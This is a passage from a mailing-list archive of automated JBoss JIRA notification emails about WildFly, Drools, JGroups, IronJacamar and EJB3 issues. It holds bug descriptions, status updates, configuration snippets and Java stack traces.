>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:52:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 09:52:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-327) Remote JNDI is not working
 with a HornetQ-only JMS bridge
In-Reply-To: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485139.1361266488000.33176.1379512324260@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-327?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805500#comment-12805500 ] 

RH Bugzilla Integration commented on WFLY-327:
----------------------------------------------

Miroslav Novak <mnovak at redhat.com> changed the Status of [bug 912653|https://bugzilla.redhat.com/show_bug.cgi?id=912653] from POST to MODIFIED
                
> Remote JNDI is not working with a HornetQ-only JMS bridge
> ---------------------------------------------------------
>
>                 Key: WFLY-327
>                 URL: https://issues.jboss.org/browse/WFLY-327
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> The jms-bridge can be used to bridge a hornetq server to another and should work by specifying to use the org.hornetq.module to load the JMS implementation classes.
> However, this fails because this module does not have access to the JBoss remote-naming module that is required to connect to remote JBoss JNDI server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:06:03 2013
From: jira-events at lists.jboss.org (Kurt Stam (JIRA))
Date: Wed, 18 Sep 2013 10:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-266) KIE resolving dependend
	artifacts issue
In-Reply-To: <JIRA.12500919.1379513154758@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500919.1379513154758@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500919.1379513154758.33225.1379513163840@jira02.app.mwc.hst.phx2.redhat.com>

Kurt Stam created DROOLS-266:
--------------------------------

             Summary: KIE resolving dependend artifacts issue
                 Key: DROOLS-266
                 URL: https://issues.jboss.org/browse/DROOLS-266
             Project: Drools
          Issue Type: Feature Request
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
            Reporter: Kurt Stam
            Assignee: Mark Proctor


This happens when for a dependency the scope is
- set to 'provided' and
- a parameter (in the case ${jbpm.version}) is used in the version field.

So the relevant entry in the pom is:

<dependency>
      <groupId>org.drools</groupId>
      <artifactId>drools-core</artifactId>
      <version>${drools.version}</version>
      <scope>provided</scope>
    </dependency>

which leads to

11:15:02,584  WARN Dependency artifact not found for: org.jbpm:jbpm-bpmn2:${jbpm.version}

and then the NPE. I'm guessing the parameter is not being resolved.

1. it probably should resolve parameters
2. if a dependency is scoped as 'provided' I think it is supposed to locate it on the classpath and NOT from maven. However I'm not sure this is the way that works in testing anyway.
3. if the dependency  cannot be found it should probably stop and not even proceed rather then warn?
4. it should be interesting to see why it gets the NPE.

If you change the dependency from 'provided' to 'test' things work fine.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:08:03 2013
From: jira-events at lists.jboss.org (Kurt Stam (JIRA))
Date: Wed, 18 Sep 2013 10:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-266) KIE resolving dependend
	artifacts issue
In-Reply-To: <JIRA.12500919.1379513154000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500919.1379513154000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500919.1379513154000.33228.1379513283529@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-266?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kurt Stam updated DROOLS-266:
-----------------------------

    Attachment: kie-load-from-maven-issue.tgz

    
> KIE resolving dependend artifacts issue
> ---------------------------------------
>
>                 Key: DROOLS-266
>                 URL: https://issues.jboss.org/browse/DROOLS-266
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>            Reporter: Kurt Stam
>            Assignee: Mark Proctor
>         Attachments: kie-load-from-maven-issue.tgz
>
>
> This happens when for a dependency the scope is
> - set to 'provided' and
> - a parameter (in the case ${jbpm.version}) is used in the version field.
> So the relevant entry in the pom is:
> <dependency>
>       <groupId>org.drools</groupId>
>       <artifactId>drools-core</artifactId>
>       <version>${drools.version}</version>
>       <scope>provided</scope>
>     </dependency>
> which leads to
> 11:15:02,584  WARN Dependency artifact not found for: org.jbpm:jbpm-bpmn2:${jbpm.version}
> and then the NPE. I'm guessing the parameter is not being resolved.
> 1. it probably should resolve parameters
> 2. if a dependency is scoped as 'provided' I think it is supposed to locate it on the classpath and NOT from maven. However I'm not sure this is the way that works in testing anyway.
> 3. if the dependency  cannot be found it should probably stop and not even proceed rather then warn?
> 4. it should be interesting to see why it gets the NPE.
> If you change the dependency from 'provided' to 'test' things work fine.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:14:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 18 Sep 2013 10:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-823) TCCPING: "failed creating
 initial list of hosts" fails stack startup
In-Reply-To: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12367674.1221675961000.33272.1379513644124@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805510#comment-12805510 ] 

Bela Ban commented on JGRP-823:
-------------------------------

EAP is supported on a commercial basis only; I (as community supporter) do *not* support EAP.
                
> TCCPING: "failed creating initial list of hosts" fails stack startup
> --------------------------------------------------------------------
>
>                 Key: JGRP-823
>                 URL: https://issues.jboss.org/browse/JGRP-823
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.3
>         Environment: RHEL4 x64, Sun JDK 1.5.0_16 64-bit
>            Reporter: P Eger
>            Assignee: Bela Ban
>             Fix For: 2.7
>
>         Attachments: stack.xml
>
>
> Using TCPPING is dangerous, as if any of the servers do not have a valid DNS entry the stack will fail with below execption. I would thing a much preferable behaviour in this case would be to silently (or with WARN) ignore those servers that do not name resolve. In the below example, csvr1and csvr2 exist and are online/started, csvr3 is attempting to start and csvr4 is offline/non-existent. csvr3 fails since it cannot DNS resolve csvr4, even though csvr1,csvr2 are avaiable and ready to process. Basically i think that a DNS lookup error should be treated equivalent to a connection failure, possibly by delaying the name resolution until later when the actual connect is attempted.
> <TCPPING timeout="15000"
> initial_hosts="${jgroups.tcpping.initial_hosts:csvr1[17801],csvr2[17801],csvr3[17801],csvr4[17801]}}"
> port_range="1"
> num_initial_members="2"/>
> ERROR | failed creating initial list of hosts
> java.net.UnknownHostException: csvr4: csvr4
>         at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1072)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1008)
>         at java.net.InetAddress.getByName(InetAddress.java:958)
>         at org.jgroups.stack.IpAddress.<init>(IpAddress.java:53)
>         at org.jgroups.protocols.TCPPING.createInitialHosts(TCPPING.java:147)
>         at org.jgroups.protocols.TCPPING.setProperties(TCPPING.java:77)
>         at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:97)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:828)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:724)
>         at org.jgroups.stack.Configurator.createProtocols(Configurator.java:505)
>         at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:61)
>         at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:285)
>         at org.jgroups.JChannel.init(JChannel.java:1506)
>         at org.jgroups.JChannel.<init>(JChannel.java:246)
>         at org.jgroups.JChannel.<init>(JChannel.java:184)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:16:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 10:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-878) Message-Driven Beans doesn't
 support DeliveryActive activation config property
In-Reply-To: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466868.1337586487000.33315.1379513764840@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-878?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805512#comment-12805512 ] 

RH Bugzilla Integration commented on WFLY-878:
----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 981341|https://bugzilla.redhat.com/show_bug.cgi?id=981341] from ON_QA to VERIFIED
                
> Message-Driven Beans doesn't support DeliveryActive activation config property
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-878
>                 URL: https://issues.jboss.org/browse/WFLY-878
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, JMS
>         Environment: Windows 64 bit
>            Reporter: Prasad Deshpande
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha3
>
>
> I get this warning on AS7.1.1 console, seems that ActivationConfigProperty DeliveryActive is not implemented by hornetq-ra, could we please have it as earlier JMS implementation of JMS had it & application that were using it will fail with AS7 now..?
> 16:04:30,794 WARN  [org.jboss.ejb3] (MSC service thread 1-16) JBAS014105: ActivationConfigProperty DeliveryActive will be ignored since it is not allowed by resource adapter: hornetq-ra
> Thanks,
> Prasad

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:16:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 10:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-878) Message-Driven Beans doesn't
 support DeliveryActive activation config property
In-Reply-To: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466868.1337586487000.33325.1379513765188@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-878?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805513#comment-12805513 ] 

RH Bugzilla Integration commented on WFLY-878:
----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 981341|https://bugzilla.redhat.com/show_bug.cgi?id=981341]

Experimented with this manually in 6.2.0.ER1.
It seems to work well and provided tests are passing. Setting to VERIFIED.
                
> Message-Driven Beans doesn't support DeliveryActive activation config property
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-878
>                 URL: https://issues.jboss.org/browse/WFLY-878
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, JMS
>         Environment: Windows 64 bit
>            Reporter: Prasad Deshpande
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha3
>
>
> I get this warning on AS7.1.1 console, seems that ActivationConfigProperty DeliveryActive is not implemented by hornetq-ra, could we please have it as earlier JMS implementation of JMS had it & application that were using it will fail with AS7 now..?
> 16:04:30,794 WARN  [org.jboss.ejb3] (MSC service thread 1-16) JBAS014105: ActivationConfigProperty DeliveryActive will be ignored since it is not allowed by resource adapter: hornetq-ra
> Thanks,
> Prasad

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:28:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 18 Sep 2013 10:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1084) IronJacamar 1.0.21.Final
In-Reply-To: <JIRA.12500926.1379514375619@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500926.1379514375619@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500926.1379514375619.33349.1379514483448@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1084:
--------------------------------------

             Summary: IronJacamar 1.0.21.Final
                 Key: JBJCA-1084
                 URL: https://issues.jboss.org/browse/JBJCA-1084
             Project: IronJacamar
          Issue Type: Release
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Jesper Pedersen
             Fix For: 1.0.21.Final


Release notes: https://issues.jboss.org/secure/ReleaseNote.jspa?projectId=12310691&version=12322451

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:28:03 2013
From: jira-events at lists.jboss.org (Luan Cestari (JIRA))
Date: Wed, 18 Sep 2013 10:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (EJBTHREE-2301) EJB 3.0 injection - wrong
 beanName and still get injection
In-Reply-To: <JIRA.12500928.1379514449014@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500928.1379514449014@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500928.1379514449014.33354.1379514483675@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130918/8c933b87/attachment-0001.html 

From jira-events at lists.jboss.org  Wed Sep 18 10:30:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 18 Sep 2013 10:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1084) IronJacamar 1.0.21.Final
In-Reply-To: <JIRA.12500926.1379514375000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500926.1379514375000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500926.1379514375000.33358.1379514603441@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1084?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen resolved JBJCA-1084.
------------------------------------

    Resolution: Done

    
> IronJacamar 1.0.21.Final
> ------------------------
>
>                 Key: JBJCA-1084
>                 URL: https://issues.jboss.org/browse/JBJCA-1084
>             Project: IronJacamar
>          Issue Type: Release
>          Components: Build
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.21.Final
>
>
> Release notes: https://issues.jboss.org/secure/ReleaseNote.jspa?projectId=12310691&version=12322451

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 10:30:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 10:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (EJBTHREE-2301) EJB 3.0 injection - wrong
 beanName and still get injection
In-Reply-To: <JIRA.12500928.1379514449000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500928.1379514449000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500928.1379514449000.33360.1379514603500@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130918/c10072a4/attachment.html 

From jira-events at lists.jboss.org  Wed Sep 18 11:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 11:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.33549.1379518624298@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805534#comment-12805534 ] 

RH Bugzilla Integration commented on JBJCA-1083:
------------------------------------------------

Jesper Pedersen <jpederse at redhat.com> changed the Status of [bug 1008763|https://bugzilla.redhat.com/show_bug.cgi?id=1008763] from NEW to POST
                
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 11:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 11:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.33558.1379518743397@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805535#comment-12805535 ] 

RH Bugzilla Integration commented on WFLY-101:
----------------------------------------------

Jeff Mesnil <jmesnil at redhat.com> made a comment on [bug 1003913|https://bugzilla.redhat.com/show_bug.cgi?id=1003913]


                
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 11:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 11:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.33584.1379519463507@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805541#comment-12805541 ] 

RH Bugzilla Integration commented on WFLY-101:
----------------------------------------------

Jeff Mesnil <jmesnil at redhat.com> made a comment on [bug 1003913|https://bugzilla.redhat.com/show_bug.cgi?id=1003913]


                
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 11:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 11:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1518)
 HornetQBackupActivationTestCase runs into intermittent failures
In-Reply-To: <JIRA.12494181.1371127277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494181.1371127277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494181.1371127277000.33588.1379519463713@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1518?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805542#comment-12805542 ] 

RH Bugzilla Integration commented on WFLY-1518:
-----------------------------------------------

Jeff Mesnil <jmesnil at redhat.com> changed the Status of [bug 974942|https://bugzilla.redhat.com/show_bug.cgi?id=974942] from ASSIGNED to CLOSED
                
> HornetQBackupActivationTestCase runs into intermittent failures
> ---------------------------------------------------------------
>
>                 Key: WFLY-1518
>                 URL: https://issues.jboss.org/browse/WFLY-1518
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: jaikiran pai
>            Assignee: Jeff Mesnil
>         Attachments: log.txt
>
>
> The HornetQBackupActivationTestCase#testPassiveBackupReload() failed on TeamCity environment against latest upstream/master. I haven't yet had a detailed look at it. The exception stacktrace looks like:
> {code}
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>     at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>     at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>     at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>     at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>     ... 93 more
> Caused by: java.io.IOException: Channel closed
>     at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:381)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:137)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:134)
>     at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>     at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:531)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>     at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:399)
>     at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:108)
>     at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>     at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:195)
>     at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:109)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.ChannelListeners$DelegatingChannelListener.handleEvent(ChannelListeners.java:1052)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.conduits.ReadReadyHandler$ChannelListenerHandler.readReady(ReadReadyHandler.java:61)
>     at org.xnio.nio.NioSocketConduit.handleReady(NioSocketConduit.java:85)
>     at org.xnio.nio.WorkerThread.run(WorkerThread.java:528)
> {code}
> There's also some complaints about connection leaks in those logs:
> {code}
> 13:17:26,866 WARN  [org.jboss.as.controller.client] (Finalizer) JBAS010600: Closing leaked controller client: JBAS010649: Allocation stack trace:
>     at java.lang.Thread.getStackTrace(Thread.java:1567)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient.<init>(RemotingModelControllerClient.java:76)
>     at org.jboss.as.controller.client.ModelControllerClient$Factory.create(ModelControllerClient.java:337)
>     at org.jboss.as.controller.client.ModelControllerClient$Factory.create(ModelControllerClient.java:147)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.createBackupClient(HornetQBackupActivationTestCase.java:107)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.waitForBackupServerToReload(HornetQBackupActivationTestCase.java:297)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.testActiveBackupReload(HornetQBackupActivationTestCase.java:224)
>     at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> {code}
> The entire log has been attached to the JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 11:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 11:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1518)
 HornetQBackupActivationTestCase runs into intermittent failures
In-Reply-To: <JIRA.12494181.1371127277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494181.1371127277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494181.1371127277000.33592.1379519463887@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1518?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805543#comment-12805543 ] 

RH Bugzilla Integration commented on WFLY-1518:
-----------------------------------------------

Jeff Mesnil <jmesnil at redhat.com> made a comment on [bug 974942|https://bugzilla.redhat.com/show_bug.cgi?id=974942]

fixed by https://bugzilla.redhat.com/show_bug.cgi?id=1003913
                
> HornetQBackupActivationTestCase runs into intermittent failures
> ---------------------------------------------------------------
>
>                 Key: WFLY-1518
>                 URL: https://issues.jboss.org/browse/WFLY-1518
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: jaikiran pai
>            Assignee: Jeff Mesnil
>         Attachments: log.txt
>
>
> The HornetQBackupActivationTestCase#testPassiveBackupReload() failed on TeamCity environment against latest upstream/master. I haven't yet had a detailed look at it. The exception stacktrace looks like:
> {code}
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>     at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>     at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>     at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>     at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>     ... 93 more
> Caused by: java.io.IOException: Channel closed
>     at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:381)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:137)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:134)
>     at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
